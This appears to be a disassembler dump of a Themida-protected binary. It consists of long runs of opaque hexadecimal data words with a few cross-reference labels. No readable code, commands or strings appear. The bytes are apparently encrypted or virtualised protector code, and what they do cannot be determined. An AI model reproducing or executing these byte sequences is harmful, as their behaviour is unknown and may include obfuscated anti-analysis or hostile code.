dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0F0B3D3C3h, 2CDB529h, 95890615h, 61510C9h
dd 107E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 958040B6h, 508F5D0Bh, 5E958h, 0B60C0000h
dd 502E48D0h, 489C5B5h, 0FBB5FF24h, 6A0618AAh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 0B1AFC355h, 923D1BABh, 0FFD78BC5h, 18AAFF95h, 8D8B6006h
dd 6152281h, 7AD88166h, 0C00B6188h, 58850Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0A553F1C3h, 0C88B6C33h, 55006A61h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0C7CA8B26h
dd 18AB0385h, 106h, 0E917B100h, 3Ch, 2C658D8Bh, 66610615h
dd 8126F6BFh, 11CC6h, 0E9D48A00h, 0FFFFF9ADh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 1FC35646h, 39654041h
dd 4AF58013h, 4E8h, 800000h, 0F525000h, 86BA6631h, 50585A6Ah
dd 424448Bh, 0B11BF66h, 8E8008Bh, 78000000h, 53C31A7Dh
dd 6610909Fh, 5A34BBB9h, 4244489h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0AC58F826h
dd 2B006A3Ch, 1517258Dh, 0BB5FF06h, 0E90618ABh, 0Dh, 0C2131F23h
dd 513FDDB8h, 0C129A97Eh, 0FD95297Bh, 0FF061501h, 15065195h
dd 0EE906h, 0F68B0000h, 1EC4107Ch, 3C1DE903h, 1324D99Eh
dd 0AB03858Bh, 0BD8B0618h, 6153035h, 895F5250h, 6A2404h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 2905BAC3h, 152D159Dh, 13858D06h, 8A0618ABh, 0EE8A50CEh
dd 51240489h, 0FF7709BAh, 858D5F27h, 618AAD0h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B6C35141h, 0F926AF6Fh
dd 50F8ABE0h, 0EE8h, 0FCEB6D00h, 2E8EB5E6h, 8D28BA4Eh
dd 66D57650h, 5A3BC3BFh, 6A240489h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 5DBCC350h
dd 26CD95FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0AA7D48C3h, 0BD09605Ch, 615300Dh
dd 19658D8Bh, 1610615h, 1507099Dh, 81C08B06h, 0A25FD8F1h
dd 0F5BD837Dh, 61508h, 0BD830975h, 61503ADh, 50137400h
dd 0B8C08B53h, 4D0h, 0A8D99D8Dh, 0D3FF0617h, 0BD83585Bh
dd 61503ADh, 50117400h, 4D0B853h, 9D8D0000h, 617A7D8h
dd 585BD3FFh, 6AFAB70Fh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 269C357h, 0F5895F71h
dd 0BD23C08Bh, 6152311h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 5A2E42EFh, 0AE92Dh, 28360000h
dd 0E5F9E599h, 1DB34E19h, 6A0008C2h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 77BEC351h
dd 91B58952h, 29061503h, 151DB5BDh, 0FC08B06h, 858DD3B7h
dd 618AB2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 32C35343h, 8922F180h, 15037585h, 75E906h, 66600000h
dd 4A8D88Ch, 35840Fh, 16A0000h, 1685B5FFh, 858D0615h, 61872BCh
dd 8589D0FFh, 61514EDh, 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
dd 1000Dh, 14ED95FFh, 32E90615h, 0C6000000h, 1509C585h
dd 0DF685606h, 0FFA9C530h, 152811B5h, 0BC858D06h, 0FF061872h
dd 198589D0h, 8D061530h, 151E7585h, 206A5006h, 0FF56056Ah
dd 15301995h, 0C1C36106h, 39EB06E0h, 0B00000h, 0B002CCh
dd 0B002E4h, 0
dd 47169ED9h, 760F9291h, 221E9A02h, 4F159EC2h, 4E1FD9B7h
dd 7635F701h, 2237BBF2h, 52348315h, 4A2F99C8h, 461A92A4h
dd 0E2F0976Bh, 2F7642B6h, 9FF8F1CFh, 246EFF98h, 0A17282B6h
dd 37785AE6h, 3B0FF7ABh, 0E2F0A486h, 227F4ED3h, 0A7FE7EB5h
dd 0AF7DE2C9h, 35D169F0h, 79A808B0h, 8FC67403h, 227DE2AEh
dd 712BE0A2h, 227F4ED3h, 0A7FE7EB5h, 0AF7DE2C9h, 35DC7AF0h
dd 79A808B0h, 717B9D03h, 227BF445h, 0E120D7D6h, 6277E30h
dd 63F76B1h, 227BEDDEh, 0E128B46Dh, 7206E920h, 483A019Dh
dd 2193A5ADh, 27BF7D6h, 0AB213431h, 0A37FD3E1h, 3E7FD39Eh
dd 607BF76Dh, 0A75334E4h, 0D007CFF6h, 94C9DFE4h, 48BB7C4Fh
dd 2193A56Bh, 27BF7B5h, 0AB213480h, 0A37FD339h, 3E7FD3F2h
dd 607BF75Bh, 849E34FFh, 0D5270733h, 0E4DCE6EAh, 37723230h
dd 9F52A1DCh, 246EEA90h, 45E4A3Dh, 0AA13F14Eh, 989A81C7h
dd 108E8AC1h, 0F85FC3EAh, 2D062967h, 97840C65h, 246EDF7Ch
dd 0DBA6A9Fh, 0A7F6F14Eh, 24638511h, 0CA28F7BCh, 227BF768h
dd 79B8AC95h, 265FAB53h, 265FB3ECh, 227BF7AAh, 0CEB8A418h
dd 9BCB4E9Ch, 5F97F9B7h, 9FF22794h, 246EC3A4h, 2211F3B0h
dd 22781F3Fh, 785BF7B6h, 76F2AD98h, 66FAF389h, 2263F3F2h
dd 7039F76Bh, 0DDF62676h, 81132AADh, 44F5DF00h, 26FA203Dh
dd 0F5D9AA7Fh, 22711EDCh, 0B5AF7D6h, 0C79A6B62h, 24BB9D44h
dd 227BF332h, 22791B6Dh, 0D3304DB6h, 722BBD42h, 0CB29A7FFh
dd 227BF7C4h, 65AE528Eh, 45296B31h, 0B2162B86h, 96185F93h
dd 1374F94Ch, 1374A50Bh, 7A21AFF7h, 4EC4C6D9h, 7806B1AFh
dd 63F7CEDh, 0AB7B7CDEh, 0CB7FD329h, 227BF7A5h, 0CA553759h
dd 2518DE46h, 2E1837FBh, 0F4EA5B70h, 7AC0190Ah, 0CA2EF7B0h
dd 227BF76Eh, 7FB8AA96h, 265F9BD2h, 265FB32Ch, 227BF7C0h
dd 15B8A22Eh, 2211E46Ch, 28927A51h, 0F284F178h, 0CC2623Dh
dd 0A7F2F14Eh, 24634820h, 0DAF03D5Dh, 22793B6Eh, 0B3FE7EB5h
dd 0A17DEF65h, 0A7F2EFADh, 24634823h, 0CEC23768h, 0D17BF7AFh
dd 0E4F0977Ch, 227BF882h, 51CA30B5h, 0D5A456CBh, 0A3AD3C67h
dd 7ADDB974h, 737B9D3Ah, 227BF445h, 0E122D7D6h, 6377E32h
dd 63F76B1h, 227BECDEh, 0E12AB66Dh, 0A61E5A96h, 4245F61h
dd 6024A9Eh, 0A7BDF1C3h, 246EFEAEh, 26F3F8F6h, 447BF7DAh
dd 0CB3A31D4h, 227BF7A5h, 0AC341DDAh, 2FF0390Dh, 80CA4326h
dd 6A21AC80h, 4AC1386Dh, 92AF3918h, 16FA3FE6h, 91DE6B92h
dd 0EBCE7C77h, 0A97DE2ACh, 3772F66Bh, 33CE086Dh, 0A97DE29Dh
dd 376C6E57h, 9EFE7A6Bh, 487DEFC4h, 2193A25Bh, 27BF7ADh
dd 0AB26348Bh, 0A37FD307h, 367FD3F1h, 677BF7DAh, 44543438h
dd 2B1D2137h, 0A91D27A4h, 0D3FE7E53h, 137DE2FCh, 376A56E6h
dd 22711FB3h
db 0DAh, 0F7h
word_5B5CDE dw 9A75h ; DATA XREF: Themida_:00579FF8o
dd 13A162F4h, 0D1CB6409h, 227BFEB2h, 2216BBADh, 142265BFh
dd 0AF25EB5Fh, 376A0A30h, 727B9DDCh, 227BF485h, 0E123D7B6h
dd 63F7E03h, 63F76A9h, 227BEBD2h, 0E12BB76Bh, 2766FFB3h
dd 9C177C05h, 0EBCE7E98h, 0AB7DE2B3h, 375D8EDEh, 0CBCE7CABh
dd 0E47DE2FAh, 377232EEh, 0A91BA4B3h, 57EE7E20h, 437DE24Bh
dd 14425EDEh, 0A3897CEDh, 2D54D3A9h, 0AE74B1ADh, 227BF76Ah
dd 97840E40h, 246EDFCBh, 0AF814062h, 3A094B33h, 727B9D5Dh
dd 227BF445h, 0E123D7D6h, 63F7E33h, 63F76B1h, 227BE3DEh
dd 0E12BB76Dh, 22771E93h, 63AEF75Bh, 0CCAADAF3h, 6E5F43E3h
dd 0D3FABBE6h, 544DA0Eh, 22112725h, 22781F3Eh, 795BF7B6h
dd 7EF2AC98h, 66FAF389h, 2263F3F2h, 7138F76Bh, 2876A276h
dd 0A3749613h, 227BF76Eh, 0AB8C40B9h, 3755D6DEh, 1FCE7CABh
dd 0E47DE2D2h, 377232EEh, 1ECAA4B3h, 85D24EB2h, 227E1FD2h
dd 0EC24F7B6h, 9B972253h, 76F78DCCh, 67F7688h, 3A0AED91h
dd 227BFF5Ch, 125BC5DAh, 0D1A1F99h, 33CE08BDh, 2D7DE273h
dd 227BF126h, 0DBCEC4D6h, 0AF7DE26Ch, 3A094B30h, 16284EDCh
dd 0F284EF39h, 0CA2AF7DCh, 227BF758h, 7BB8AE8Dh, 265FBB5Fh
dd 265FB3EAh, 227BF7ADh, 59B8A69Bh, 210E7BFEh, 9D743F3Dh
dd 0C3FE7EADh, 97DE2BDh, 376AF26Bh, 0E7FE316Dh, 657DE2BCh
dd 0B024AF1h, 2693F178h, 8B7BF7B6h, 2DCC2986h, 227BFA23h
dd 0AA7497D6h, 227BF76Bh, 263A0A0Ah, 0CA2B96EEh, 227BF779h
dd 0E3AED096h, 0D3B8B734h, 244DFCD5h, 0CC35ED60h, 2559BDBFh
dd 227BE65Dh, 0F65B41DAh, 516CDFB9h, 0A42A6089h, 0F2F21446h
dd 0A91DA508h, 0A924A807h, 0CA7FD32Fh, 227BF7BDh, 8A81D144h
dd 0C362B972h, 0A925003Dh, 63F7E5Bh, 22711EA9h, 0D61BF7D6h
dd 0F8C0DF33h, 3D78A3D2h, 717B9D82h, 227BF485h, 0E120D7B6h
dd 6277E00h, 63F76A9h, 227BEBD2h, 0E128B46Bh, 4FD95C07h
dd 0D24904DCh, 0F6C291AEh, 33CE089Bh, 487DE273h, 2193A4ADh
dd 27BF7D6h, 0AB203430h, 0A37FD3E9h, 3A7FD39Eh, 617BF76Dh
dd 2F6534E5h, 4247201Eh, 227BE644h, 2C44E3D6h, 3D36EE89h
dd 33156428h, 0D26B9F8Ch, 0A91D4CBCh, 0AFF0964Fh, 246EDACAh
dd 677F182Ch, 0A7F689D5h, 246385D7h, 8CE4A9Ch, 97F0F1CFh
dd 246EE1FCh, 22112749h, 22781F08h, 795BF7ADh, 7EF2AC15h
dd 66FAF34Fh, 2263F391h, 7138F7DAh, 0A5C985AEh, 0B7F26BC6h
dd 246ED416h, 362E7224h, 2211F1C3h, 22781F38h, 795BF7B5h
dd 7EF2AC19h, 66FAF349h, 2260F392h, 7138F75Bh, 40EE666Eh
dd 0D025BBE9h, 0AB857C68h, 375EAA20h, 0E7FE31DCh, 657DE264h
dd 2693393Ch, 587BF75Bh, 72FA2BBDh, 227BE53Eh, 93E9066Bh
dd 0D4A5FDE5h, 1A880393h, 408DAEBFh, 0CBE09894h, 227BF75Ch
dd 0ABD8B348h, 7D84AD46h, 265FB3E0h, 22F0023Fh, 66F20F51h
dd 0A91DF349h, 2211AF67h, 22781F0Ch, 7D5BF7ADh, 5EF2A815h
dd 66FAF34Fh, 226CF391h, 753CF7DAh, 5F1D35AEh, 37C67C1Eh
dd 0A97DE274h, 33CE0855h, 487DE2FEh, 2193A66Bh, 27BF7B5h
dd 0AB223483h, 0A37FD321h, 387FD3F2h, 637BF75Bh, 0DB0034FCh
dd 0BD8D9B75h, 13C67C76h, 0AF7DE2A5h, 3A094B5Fh, 727B9D6Bh
dd 227BF45Eh, 0E123D75Bh, 63F7EF5h, 63F76D2h, 227BEE6Fh
dd 0E12BB7B5h, 0F2E7D52Bh, 0A91DED13h, 48AB0844h, 2193A75Bh
dd 27BF7ADh, 0AB23348Eh, 0A37FD32Fh, 357FD3F1h, 627BF7DAh
dd 597A343Dh, 0A7F25852h, 246EE42Eh, 0E4B440A2h, 37723253h
dd 2211B06Dh, 22781FE4h, 7B5BF7DAh, 6EF2AEAEh, 66FAF392h
dd 2261F37Fh, 733AF7ADh, 407C2515h, 94714F22h, 2326623Ch
dd 2693F1CFh, 7F7BF76Dh, 0CBD13A8Ah, 227BF753h, 886453B9h
dd 4FC122B0h, 0E8F0913Bh, 265FB33Eh, 7C2AF751h, 265FB3E4h
dd 747B9DEEh, 227BF4B3h, 0E125D7ADh, 60F7E88h, 63F766Fh
dd 227BE1B1h, 0E12DB1DAh, 44C9BF89h, 0DD94BB0Fh, 3753E6EEh
dd 0BBE6FEABh, 0AF7DE2F2h, 3A094BEEh, 737B9DB3h, 227BF432h
dd 0E122D76Dh, 6377EEFh, 63F765Fh, 227BEFA9h, 0E12AB6D6h
dd 36DAB318h, 22741EC7h, 89ACF7DAh, 0CA115E7Ch, 0AF27B131h
dd 866ADB87h, 48AB0897h, 2193A6D6h, 27BF76Bh, 0AB2234ECh
dd 0A37FD396h, 3F7FD329h, 637BF7B6h, 0B227340Ah, 0A21E567Ah
dd 844B75D6h, 0AB1E15EBh, 3763D230h, 747B9DDCh, 227BF485h
dd 0E125D7B6h, 60F7E05h, 63F76A9h, 227BE3D2h, 0E12DB16Bh
dd 0F2840E8Bh, 0CA2EF7B0h, 227BF76Eh, 7FB8AA96h, 265F9BD2h
dd 265FB32Ch, 227BF7CCh, 4DB8A22Eh, 0F272C240h, 2A92D7FFh
dd 767BF76Dh, 12BFC5E9h, 0ABA9E2F3h, 3777B228h, 727B9DD0h
dd 227BF483h, 0E123D7B5h, 63F7E82h, 63F7669h, 227BECB2h
dd 0E12BB75Bh, 29B4F894h, 0A134E2F9h, 227BFA83h
db 0B5h
byte_5B6219 db 0D3h, 9Bh, 0Eh ; DATA XREF: Themida_:0057AEE8o
dd 0D6C8808Fh, 33C44840h, 7D837C63h, 227E1E3Bh, 0BC32F7ADh
dd 0AB75128Ah, 376F4ED6h, 0AE1D96B3h, 23EE7C02h, 67DE26Ah
dd 737B9DB2h, 227BF4B3h, 0E122D7ADh, 6377E8Fh, 63F766Fh
dd 227BE2B1h, 0E12AB6DAh, 2C9282C6h, 157BF7B6h, 0F21F4795h
dd 0DCE5EC5Bh, 8F819A78h, 0E2710F8Ch, 215973BAh, 0AF4AF7DAh
dd 246ED180h, 32F24A3Dh, 0A7BDF14Eh, 246EFE68h, 777B9D99h
dd 227BF483h, 0E126D7B5h, 6177E87h, 63F7669h, 227BE1B2h
dd 0E12EB25Bh, 0DAD867C5h, 0B9DCC2BEh, 22741EDEh, 8E98F7B5h
dd 70626643h, 76B5042Fh, 4E5C06AEh, 67F76C1h, 2B9F3222h
dd 0A11E6E6Ch, 33CE084Eh, 0A27DE29Dh, 0A7F6071Bh, 246385D1h
dd 0CA2DF7DCh, 227BF758h, 7CB8A98Dh, 265F835Fh, 265FB3EAh
dd 227BF7ACh, 91B8A19Ch, 0A93524Bh, 4298455Dh, 3A1A6AD0h
dd 9574F1B8h, 0F284961Eh, 0CA29F701h, 227BF7B6h, 78B8ADFAh
dd 265FA3E4h, 265FB337h, 227BF741h, 0ACB8A5EFh, 0B0D1644Fh
dd 0AF7A6E37h, 246EDD8Ch, 215F3759h, 3755F6F8h, 8FFE7EB0h
dd 487DE256h, 2193A1ADh, 27BF7D6h, 0AB253435h, 0A37FD3C1h
dd 347FD39Eh, 647BF76Dh, 37C934E0h, 0F7EE7EAFh, 0AB7DE2A8h
dd 37596653h, 67FE7C6Dh, 737DE2B9h, 22787DD5h, 0A91DF76Dh
dd 0BFF0AE46h, 246EEF7Eh, 0CA2AF7C7h, 227BF7D5h, 7BB8AE4Bh
dd 265FBB3Ch, 265FB35Bh, 227BF771h, 0DB8A6F7h, 1FAF704Dh
dd 46803C88h, 227D70D9h, 0B7F0F76Bh, 246EFAD4h, 0D9F09199h
dd 0DA1BECE6h, 3CF24A3Fh, 0A91AF14Eh, 2BE6C6B6h, 0A97DE2F1h
dd 757B9D70h, 227BF45Dh, 0E124D7DAh, 6077E32h, 63F76B2h
dd 227BE25Fh, 0E12CB0ADh, 1182015Dh, 9F700EB3h, 246EDFF8h
dd 3BCE6A53h, 2211F178h, 22781FE3h, 7F5BF75Bh, 4EF2AA6Eh
dd 66FAF3F2h, 2261F34Fh, 773EF7B5h, 7A332D19h, 0E6A34071h
dd 0CBB57CD0h, 227BF751h, 0C0D08532h, 1DCD12C2h, 0A7BD131Bh
dd 246EFE70h, 777B9D9Dh, 227BF485h, 0E126D7B6h, 6177E06h
dd 63F76A9h, 227BEED2h, 0E12EB26Bh, 8437D0A4h, 9574F864h
dd 16089FA3h, 61C1245Eh, 0A371FB96h, 0CBA1D399h, 9FF293E0h
dd 246EEF66h, 0A6A424Ah, 2211F1CFh, 22781F3Dh, 7A5BF7B6h
dd 66F2AF98h, 66FAF389h, 2260F3F2h, 723BF76Bh, 0E25E4776h
dd 0C6BB6F71h, 0B1CA48BFh, 0FBFAD8B9h, 4AB7B1Ch, 50C77220h
dd 2211F1CEh, 22781F39h, 785BF7B5h, 76F2AD19h, 66FAF349h
dd 226FF392h, 7039F75Bh, 0D1F19A6Eh, 22112729h, 22781F3Ch
dd 7D5BF7B5h, 5EF2A819h, 66FAF349h, 226DF392h, 753CF75Bh
dd 2215376Eh, 362E725Fh, 2211F17Eh, 22781FE2h, 7D5BF7DAh
dd 5EF2A8AEh, 66FAF392h, 2263F37Fh, 753CF7ADh, 0FD737F15h
dd 483B377Fh, 2193A1B5h, 27BF7DAh, 0AB253433h, 0A37FD3C2h
dd 387FD31Fh, 647BF7ADh, 0F8BE3480h, 0F10C022Ah, 0A97B7C15h
dd 3766364Fh, 487B7C6Bh, 2193A5B6h, 27BF75Bh, 0AB2134F7h
dd 0A37FD382h, 3F7FD32Fh, 607BF7B5h, 0A6D53488h, 0A5202178h
dd 0B22ACEF5h, 3F9A72D2h, 2211F1B8h, 22781F85h, 795BF76Bh
dd 7EF2AC76h, 66FAF3FEh, 2262F349h, 7138F7B6h, 7EB59C98h
dd 0A914D358h, 37551643h, 22831E6Dh, 0AA74F7B5h, 227BF7DAh
dd 9DC872E0h, 0B7F0F1AEh, 246EC336h, 45E4AA4h, 9B2BF1C3h
dd 72AFBDD4h, 425FF33Ch, 0AB817CBCh, 377A66D8h, 0B78496B0h
dd 246EF08Eh, 0CA2BF7C7h, 227BF7D5h, 7AB8AF4Bh, 265FB33Ch
dd 265FB35Bh, 227BF77Bh, 7AB8A7F6h, 0A3744C73h, 227BF7ABh
dd 231E425Fh, 0AF8EF17Eh, 3AC44E28h, 747B9DDCh, 227BF485h
dd 0E125D7B6h, 60F7E05h, 63F76A9h, 227BEED2h, 0E12DB16Bh
dd 0A7DF7DF4h, 0D3FB9B3Bh, 0DBF064DCh, 22691EE6h, 85A5F75Bh
dd 35FC688Dh, 0EC0CADCEh, 0FE67F89Bh, 0C9984098h, 26F2A749h
dd 757B9D49h, 227BF45Eh, 0E124D75Bh, 6077EF2h, 63F76D2h
dd 227BE26Fh, 0E12CB0B5h, 0A9291E7Ch, 0B784A99Eh, 246EF9ABh
dd 631F3EE5h, 8FFE7E87h, 487DE2DBh, 2193A76Bh, 27BF7B5h
dd 0AB233482h, 0A37FD329h, 357FD3F2h, 627BF75Bh, 0E8B234FDh
dd 0A7BD8385h, 246EFEAEh, 717B9DE6h, 227BF432h, 0E120D76Dh
dd 6277EEDh, 63F765Fh, 227BECA9h, 0E128B4D6h, 18CFD424h
dd 54060B4Dh, 4E5748BCh, 0A91326E6h, 73F42100h, 78807C3Dh
dd 0D65FC32Ch, 485EA6E4h, 2193A06Bh, 27BF7B5h, 0AB243485h
dd 0A37FD311h, 3B7FD3F2h, 657BF75Bh, 32AC34FAh, 96139DFFh
dd 227E7D64h, 85C4F7B5h, 0DD4DFAB1h, 3753E6D8h, 707B9DB0h
dd 227BF4B3h, 0E121D7ADh, 62F7E8Ch, 63F766Fh, 227BEBB1h
dd 0E129B5DAh, 8F8FC4A0h, 10D05547h, 24F1F863h, 0A97BF7ADh
dd 377EA25Bh, 7EE7C6Dh, 217DE2A8h, 376B8667h, 9EFE7A6Bh
dd 487DEFC4h, 2193A75Bh, 27BF7ADh, 0AB23348Eh, 0A37FD32Fh
dd 387FD3F1h, 627BF7DAh, 0D3A7343Dh, 0F0EAC775h, 0BF67EA3h
dd 0DD7DE2A9h, 777B9D06h, 227BF483h, 0E126D7B5h, 6177E87h
dd 63F7669h, 227BEFB2h, 0E12EB25Bh, 0D2E7B5E8h, 6FFE7EDBh
dd 487DE276h, 2193A6B5h, 27BF7DAh, 0AB223434h, 0A37FD3FAh
dd 3B7FD31Fh, 637BF7ADh, 26693487h, 2369C1A4h, 370E7A3Ch
dd 0F2F0F1CFh, 2BBE72ABh, 983CF1A3h, 694852F4h, 227BF345h
dd 506E67D6h, 0C2814DCAh, 0CB2BEF4Dh, 227BF7D2h, 8841E970h
dd 0FA9ACE05h, 265FB3D0h, 226B1ECDh, 4D3BF7D6h, 9A5B5D62h
dd 3CA5D59Eh, 1D43C16Fh, 0F1C3DBAFh, 43010ED6h, 0A91BF7D0h
dd 0DFC2916Bh, 66F29642h, 0ECF0F34Fh, 57C6FCEDh, 0DD7DE2CAh
dd 3753E6D8h, 22681EB0h, 29C9F75Bh, 0B5590DCDh, 7CE97B8Ch
dd 0EE0DBED3h, 0EA510124h, 20F2F801h, 947BF76Dh, 9EFE7A21h
dd 487DEF29h, 2193A0ADh, 27BF7D6h, 0AB243434h, 0A37FD3C9h
dd 3A7FD39Eh, 657BF76Dh, 0CE1834E1h, 0CA3F76DBh, 227BF7BCh
dd 538CBBD0h, 5B74E451h, 0C4AAA2EBh, 54CC6DEAh, 0ABCEDC5Fh
dd 7C7DE2B0h, 221127A4h, 22781FFFh, 785BF7D6h, 76F2ADA8h
dd 66FAF391h, 2263F3FEh, 7039F76Dh, 97815275h, 0AF529B31h
dd 246EDF20h, 227BFD3Eh, 6E44956Bh, 0BF7805EBh, 2D8E40F5h
dd 227BFBE6h, 227C1EB6h, 4D0AF75Bh, 0B088915Dh, 0CAF1A8BDh
dd 24DA72E2h, 2211F1A0h, 22781F8Ch, 7C5BF76Dh, 56F2A975h
dd 66FAF37Fh, 2260F389h, 743DF7D6h, 0ACA525A8h, 0E95456F4h
dd 0AFFE7E5Fh, 0E47DE269h, 37723233h, 2211A45Dh, 22781FFDh
dd 7A5BF7D6h, 66F2AFA8h, 66FAF391h, 226FF3FEh, 723BF76Dh
dd 0AE74A775h, 227BF751h, 227BF244h, 230DC3D6h, 0BF524D3Bh
dd 246EEA90h, 227BF332h, 1B24676Dh, 7AC1912Fh, 702BA70Dh
dd 7D0F45FBh, 3092C6D9h, 927BF76Bh, 13440AA8h, 9BD2830h
dd 0D802C44Dh, 8606BDA7h, 0A923AD7Dh, 0CA7FD3E9h, 227BF7C4h
dd 0A14079D3h, 8531D410h, 6F47EDB6h, 0F8EFF049h, 0A9216DACh
dd 63F7E5Bh, 702B97A9h, 89C84F68h, 444AF846h, 78A6150Dh
dd 43A17C82h, 747B9D35h, 227BF45Eh, 0E125D75Bh, 60F7EF3h
dd 63F76D2h, 227BEE6Fh, 0E12DB1B5h, 491DEFC9h, 0CCC1CBC4h
dd 971EB7FCh, 33CE0862h, 487DE285h, 2193A1D6h, 27BF76Bh
dd 0AB2534EBh, 0A37FD3AEh, 3E7FD329h, 647BF7B6h, 0ABDF340Dh
dd 3A2373BEh, 0ABEBD0A3h, 37518EE6h, 9EFE7AB3h, 447DEFA8h
dd 0DD878DD7h, 707B9D66h, 227BF4B3h, 0E121D7ADh, 62F7E8Ch
dd 63F766Fh, 227BE1B1h
dd 0E129B5DAh, 0A9DE1C79h, 377BAA3Bh, 63FE7E5Dh, 987DE285h
dd 5F00E9C4h, 20B272E2h, 0A91DF1A0h, 0E7FE3129h, 757DE264h
dd 788EA1E5h, 22701F05h, 7DA7F7ADh, 0ECFF9E1Ch, 0D68C0E8Ch
dd 4813ADA4h, 44AB3562h, 0A371A4D3h, 0C817D382h, 0DE2BB79Dh
dd 57CE7CF3h, 0DD7DE2F9h, 3753E6DEh, 24F1F8B3h, 0A37BF7DAh
dd 0FCA38AAAh, 0D7F67EBFh, 0AF7DE25Ch, 3A094B28h, 48AB08D0h
dd 2193A56Bh, 27BF7B5h, 0AB213480h, 0A37FD339h, 377FD3F2h
dd 607BF75Bh, 2DED34FFh, 0ABAA48D9h, 37734AEEh, 0E7FE31B3h
dd 617DE2D3h, 0CA2CF707h, 227BF7B5h, 7DB8A87Bh, 265F8B24h
dd 265FB357h, 227BF77Eh, 53B8A0F2h, 4FF6DE58h, 0CA7DE259h
dd 227BF7B2h, 9EEB8773h, 19FF49CBh, 34F1F886h, 427BF76Bh
dd 227BFF5Dh, 316237DAh, 63932379h, 0A074A9CDh, 227BF75Bh
dd 63F7CCCh, 0DBF091D2h, 0D5F0F7E0h, 265FB33Ch, 227BFD32h
dd 989D9C6Dh, 3E44C5A6h, 4436A677h, 7B063617h, 757B9D8Eh
dd 227BF483h, 0E124D7B5h, 6077E85h, 63F7669h, 227BEEB2h
dd 0E12CB05Bh, 90389D5Fh, 0AD7455B8h, 227BF76Dh, 331E623Eh
dd 9784F1CFh, 246EDF7Ch, 0CA28F7DCh, 227BF758h, 79B8AC8Dh
dd 265FAB5Fh, 265FB3EAh, 227BF7A8h, 3DB8A499h, 0AF9AC30Ch
dd 5D8324B9h, 0E3F6DE60h, 0AF7DE281h, 3A094B53h, 727B9D6Dh
dd 227BF45Dh, 0E123D7DAh, 63F7E35h, 63F76B2h, 227BE35Fh
dd 0E12BB7ADh, 0D3CE7CA8h, 0DD7DE276h, 0F0CCF865h, 29D26253h
dd 0A7F2F178h, 246EC42Bh, 0CA2CF731h, 227BF7AEh, 7DB8A8F6h
dd 265F8BE2h, 265FB334h, 227BF7CFh, 63B8A02Ah, 63EE7C28h
dd 447DE27Ch, 0AF7F9A13h, 3AC45E53h, 707B9D6Dh, 227BF45Dh
dd 0E121D7DAh, 62F7E37h, 63F76B2h, 227BEB5Fh, 0E129B5ADh
dd 0CB0EA5FCh, 553832A4h, 0B5BC76F4h, 0B2710FC4h, 981DA53Dh
dd 13742772h, 0B6763CE1h, 7223ADA3h, 707B9D46h, 227BF483h
dd 0E121D7B5h, 62F7E80h, 63F7669h, 227BEFB2h, 0E129B55Bh
dd 86ABF583h, 0F7EE081Dh, 447DE26Ch, 94E61E34h, 0A91D2F51h
dd 0BFFE7A97h, 487DEF09h, 2193A25Bh, 27BF7ADh, 0AB26348Bh
dd 0A37FD307h, 397FD3F1h, 677BF7DAh, 0F5313438h, 0D3D261EDh
dd 442B153Dh, 26F20426h, 727B9DF2h, 227BF483h, 0E123D7B5h
dd 63F7E82h, 63F7669h, 227BEAB2h, 0E12BB75Bh, 0E600D61Ah
dd 0A0DA1D4Dh, 0D5FACC2Ch, 6B2E3747h, 227BE633h, 0CFB0C06Dh
dd 643D5630h, 0E513E4B6h, 0C212B902h, 9B2B5AEDh, 738D0E2Bh
dd 425FEB3Ch, 67A576BCh, 0A7F6FEA8h, 437DE2ABh, 2C6662A4h
dd 2211F1B8h, 22781F81h, 7D5BF76Bh, 5EF2A876h, 66FAF3FEh
dd 2262F349h, 753CF7B6h, 64BCAE98h, 0A9226331h, 83FE7E21h
dd 447DE273h, 0E5F0900Ah, 37735A5Fh, 227BF86Bh, 747B9DB6h
dd 227BF4B3h, 0E125D7ADh, 60F7E88h, 63F766Fh, 227BE3B1h
dd 0E12DB1DAh, 0DD807C66h, 37635623h, 3C67E5Dh, 0AB7DE2A7h
dd 375C7253h, 5BF67E6Dh, 0A97DE29Ch, 3751065Fh, 54E67A6Bh
dd 0AB7DEF65h, 9FF6F618h, 246EE650h, 0F12B425Bh, 11C2F173h
dd 0D17BF7B5h, 9A481C7Eh, 227BF76Dh, 210F37BDh, 0A97BEF99h
dd 7177D3E9h, 227BF73Eh, 0E1FAAC6Bh, 227BF7A2h, 325FAB53h
dd 365FB3E4h, 0D84C4FEDh, 0C284F7E9h, 265FB326h, 22111729h
dd 22781F3Ch, 7D5BF7B5h, 5EF2A819h, 66FAF349h, 2267F392h
dd 753CF75Bh, 2A2BE86Eh, 0B68AF0E1h, 2211A477h, 22781FE6h
dd 795BF7DAh, 7EF2ACAEh, 66FAF392h, 2260F37Fh, 7138F7ADh
dd 54982315h, 0AA37469Dh, 33EE7C97h, 437DE2D2h, 21127A5Ch
dd 9FF6F1A3h, 246348C6h, 0F1887A20h, 17C3F1CEh, 11E3D1C0h
dd 376FDA30h, 0E3B4DCDCh, 0B6E2F097h, 0CF2F7642h, 989FF8F1h
dd 0B6246EFFh, 0E6A17282h, 0AB37785Ah, 0E9830FF7h, 8BA4F305h
dd 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 9CC0A080h, 9BCA810Eh, 0B53195A0h, 6151D11h
